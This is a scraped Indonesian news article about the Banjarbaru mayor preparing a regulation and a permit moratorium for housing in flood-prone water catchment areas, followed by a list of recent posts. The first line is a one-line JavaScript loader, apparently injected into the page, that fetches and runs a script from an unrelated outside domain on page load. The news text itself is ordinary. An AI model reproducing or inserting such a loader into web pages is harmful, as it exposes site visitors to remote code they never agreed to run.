(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Siapkan Perwali Pembangunan Rumah di Kawasan Resapan Air


KANALKALIMANTAN.COM, BANJARBARU – Aturan terkait dampak pembangunan perumahan di daerah resapan air atau catchment area di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) perlu segera disiapkan.

Lantaran hampir 70 persen banjir yang terjadi di Kota Banjarbaru selama sebulan terakhir menimpa daerah permukiman warga di kawasan tangkapan air.

Peraturan Wali Kota (Perwali) mendesak dibuat untuk penanganan banjir, meski dalam mitigasi selama ini pemerintah kota sudah membuat road map daerah rawan banjir.

“Misalnya dulu kita buat untuk menghubungkan analisator ke Danau Cermin atau Danau Seran, nah itu sudah kita laksanakan,” ujar Wali Kota Banjarbaru Aditya Mufti Ariffin usai rapat dengan lintas SKPD, Selasa (4/2/2025) siang.

Baca juga: Perumahan di Lahan Resapan Air, PR Baru Pemko Banjarbaru Atasi Banjir 

Dalam rangka mitigasi jangka panjang, lintas SKPD diminta membuat peta daerah rawan bencana dan peta daerah resapan air.

“Nah ini kita petakan kembali di sana, kita buat aturan misalnya perumahan tidak boleh lagi ada di daerah resapan air,” jelasnya.

Jika peruntukan lahan memang daerah permukiman maka silahkan masyarakat berkumpul membangun rumah dengan aturan tersendiri.

“Misalnya rumah panggung, tidak boleh diuruk, nah ini sedang digodok dan diformulasikan berkaitan dengan aturan tersebut,” sebut dia.

Baca juga: Tim Hanyar Sambut Putusan MK, Siap Hadirkan Saksi di Sidang Pembuktian Sengketa Pilwali Banjarbaru

“Insya Allah ada Perwali, untuk sementara kalau Perda menunggu lama,” sambungnya.

Di samping itu kata Aditya, izin perumahan yang saat ini sudah berdiri di lahan tangkapan air tersebut, pemerintah mengambil langkah sementara dengan moratorium atau penangguhan izin.

“Izin perumahan yang ada di lahan-lahan tersebut sementara kami moratorium, karena yang ada saat ini 70 persen terdampak banjir kebanyakan perumahan,” jelasnya.

“Makanya kita moratorium dulu izinnya, evaluasi kembali termasuk membuat aturan yang baru,” pungkas Aditya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Risa

Recent Posts

Pimpin Peringatan Hari Otda 2025, Wabup Sampaikan Apresiasi kepada Jajaran

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Otonomi Daerah XXIX Tahun 2025 digelar oleh Pemkab Banjar di… Read More

1 jam ago

Siap Layani Embarkasi Haji Banjarmasin, Dua A330-343 Lion Air Tiba di Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Calon Jemaah Haji (CJH) Embarkasi Banjarmasin direncanakan mulai memasuki fase keberangkatan pada… Read More

2 jam ago

16 Mei CJH Banjarbaru Masuk Asrama Haji, Tergabung di Dua Kloter

KANALKALIMANTAN.COM, BANJARBARU - Calon Jemaah Haji (CJH) asal Kota Banjarbaru dijadwal akn berangkat ke Tanah… Read More

3 jam ago

Randi Juara Turnamen Billiard Bupati Kapuas Cup 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno didampingi Sekretaris Daerah (Sekda) Kapuas Septedy… Read More

5 jam ago

Peringati Hari Otda, Ini Kata Bupati HSU H Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) menggelar upacara peringatan Hari Otonomi… Read More

6 jam ago

Tingkatkan Kompetensi 183 Kades se Kapuas Digembleng di Pusdiklat Kemenhan

KANALKALIMANTAN.COM, KUALA KAPUAS - Sebanyak 183 Kepala Desa dan Penjabat Kepala Desa (Kades) se Kabupaten… Read More

6 jam ago